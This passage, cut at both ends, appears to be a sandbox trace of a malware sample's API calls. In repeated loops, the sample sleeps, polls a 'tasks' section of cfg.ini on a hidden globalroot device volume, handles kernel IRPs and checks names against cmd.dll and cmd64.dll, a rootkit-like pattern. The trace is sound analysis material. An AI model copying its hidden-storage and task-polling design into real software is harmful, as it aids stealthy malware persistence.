FileObject=0xfffffa8003bbca80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.240] KeLeaveCriticalRegion () [0120.240] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.240] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.240] KeEnterCriticalRegion () [0120.240] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.240] ExFreePoolWithTag (P=0xfffffa8003bc2e30, Tag=0x0) [0120.240] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.240] KeLeaveCriticalRegion () [0120.240] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.240] ReleaseMutex (hMutex=0xf0) returned 1 [0120.240] Sleep (dwMilliseconds=0x927c0) [0120.254] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.254] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.254] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.254] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.254] KeEnterCriticalRegion () [0120.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.254] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.254] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.254] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.254] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.254] IdePortDispatch () returned 0x103 [0120.254] KeWaitForMutexObject () returned 0x0 [0120.254] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.254] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.254] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.254] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.254] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.254] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bc2940 [0120.254] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.254] KeLeaveCriticalRegion () [0120.254] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.254] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.254] KeEnterCriticalRegion () [0120.254] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.255] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.255] KeLeaveCriticalRegion () [0120.255] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.255] KeEnterCriticalRegion () [0120.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003baf190 [0120.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0120.255] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.255] IdePortDispatch () returned 0x103 [0120.255] KeWaitForMutexObject () returned 0x0 [0120.255] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.255] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.255] KeLeaveCriticalRegion () [0120.255] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.255] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.255] KeEnterCriticalRegion () [0120.255] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.255] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003423000 [0120.255] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.255] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.255] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.255] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.255] IdePortDispatch () returned 0x103 [0120.256] KeWaitForMutexObject () returned 0x0 [0120.256] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.256] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.256] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.256] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.256] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.256] IdePortDispatch () returned 0x103 [0120.256] KeWaitForMutexObject () returned 0x0 [0120.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.257] KeLeaveCriticalRegion () [0120.257] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.257] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.257] KeEnterCriticalRegion () [0120.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.257] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.257] KeLeaveCriticalRegion () [0120.257] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.257] KeEnterCriticalRegion () [0120.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.257] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.257] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bcd380, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.257] KeLeaveCriticalRegion () [0120.257] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.257] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.257] KeEnterCriticalRegion () [0120.257] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.257] ExFreePoolWithTag (P=0xfffffa8003bc2940, Tag=0x0) [0120.257] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.257] KeLeaveCriticalRegion () [0120.257] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.257] ReleaseMutex (hMutex=0xf0) returned 1 [0120.258] Sleep (dwMilliseconds=0x927c0) [0120.277] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.277] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.277] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.277] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.277] KeEnterCriticalRegion () [0120.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.277] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.277] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.277] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.277] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.277] IdePortDispatch () returned 0x103 [0120.277] KeWaitForMutexObject () returned 0x0 [0120.277] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.277] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.277] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.277] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.277] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.277] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbcfb0 [0120.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.277] KeLeaveCriticalRegion () [0120.277] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.277] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.277] KeEnterCriticalRegion () [0120.277] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.277] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.277] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.278] KeLeaveCriticalRegion () [0120.278] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.278] KeEnterCriticalRegion () [0120.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.278] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.278] IdePortDispatch () returned 0x103 [0120.278] KeWaitForMutexObject () returned 0x0 [0120.278] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.278] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.278] KeLeaveCriticalRegion () [0120.278] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.278] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.278] KeEnterCriticalRegion () [0120.278] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.278] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88003428000 [0120.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.278] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.278] IdePortDispatch () returned 0x103 [0120.278] KeWaitForMutexObject () returned 0x0 [0120.278] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.278] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.278] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.278] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.278] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.278] IdePortDispatch () returned 0x103 [0120.279] KeWaitForMutexObject () returned 0x0 [0120.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.279] KeLeaveCriticalRegion () [0120.279] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.279] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.279] KeEnterCriticalRegion () [0120.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.279] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.279] KeLeaveCriticalRegion () [0120.279] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.279] KeEnterCriticalRegion () [0120.279] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.279] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.279] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bbca80, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.279] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.279] KeLeaveCriticalRegion () [0120.279] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.279] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.280] KeEnterCriticalRegion () [0120.280] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.280] ExFreePoolWithTag (P=0xfffffa8003bbcfb0, Tag=0x0) [0120.280] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.280] KeLeaveCriticalRegion () [0120.280] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.280] ReleaseMutex (hMutex=0xf0) returned 1 [0120.280] Sleep (dwMilliseconds=0x927c0) [0120.294] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.294] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.294] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.294] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.294] KeEnterCriticalRegion () [0120.294] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.294] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.294] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.294] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.295] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.295] IdePortDispatch () returned 0x103 [0120.295] KeWaitForMutexObject () returned 0x0 [0120.295] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.295] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.295] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0120.295] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0120.295] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0120.295] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbc970 [0120.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.295] KeLeaveCriticalRegion () [0120.295] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.295] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.295] KeEnterCriticalRegion () [0120.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.295] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.295] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.295] KeLeaveCriticalRegion () [0120.295] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.295] KeEnterCriticalRegion () [0120.295] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.295] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.295] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.295] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.295] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0120.295] IdePortDispatch () returned 0x103 [0120.295] KeWaitForMutexObject () returned 0x0 [0120.296] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.296] KeLeaveCriticalRegion () [0120.296] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.296] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.296] KeEnterCriticalRegion () [0120.296] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.296] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff8800342d000 [0120.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.296] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.296] IdePortDispatch () returned 0x103 [0120.296] KeWaitForMutexObject () returned 0x0 [0120.296] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0120.296] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.296] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003aab1d0 [0120.296] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0120.296] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0120.296] IdePortDispatch () returned 0x103 [0120.296] KeWaitForMutexObject () returned 0x0 [0120.296] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.296] KeLeaveCriticalRegion () [0120.296] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.297] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.297] KeEnterCriticalRegion () [0120.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.297] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8007ffba30, Context=0x0) returned 0x0 [0120.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.297] KeLeaveCriticalRegion () [0120.297] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.297] KeEnterCriticalRegion () [0120.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.297] IoGetRequestorProcess (Irp=0xfffffa8007ffba30) returned 0xfffffa80034fca60 [0120.297] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003bc27b0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0120.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.297] KeLeaveCriticalRegion () [0120.297] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.297] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.297] KeEnterCriticalRegion () [0120.297] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.297] ExFreePoolWithTag (P=0xfffffa8003bbc970, Tag=0x0) [0120.297] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.297] KeLeaveCriticalRegion () [0120.297] IofCompleteRequest (Irp=0xfffffa8007ffba30, PriorityBoost=0) [0120.297] ReleaseMutex (hMutex=0xf0) returned 1 [0120.297] Sleep (dwMilliseconds=0x927c0) [0120.312] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0120.312] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0120.312] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0120.312] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0120.312] KeEnterCriticalRegion () [0120.312] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0120.312] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa80039d7d20 [0120.312] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa80039d7d20 | out: Irp=0xfffffa80039d7d20) returned 0xfffffa8003b863b0 [0120.312] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0120.312] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0120.312] IdePortDispatch () returned 0x103 [0120.312] 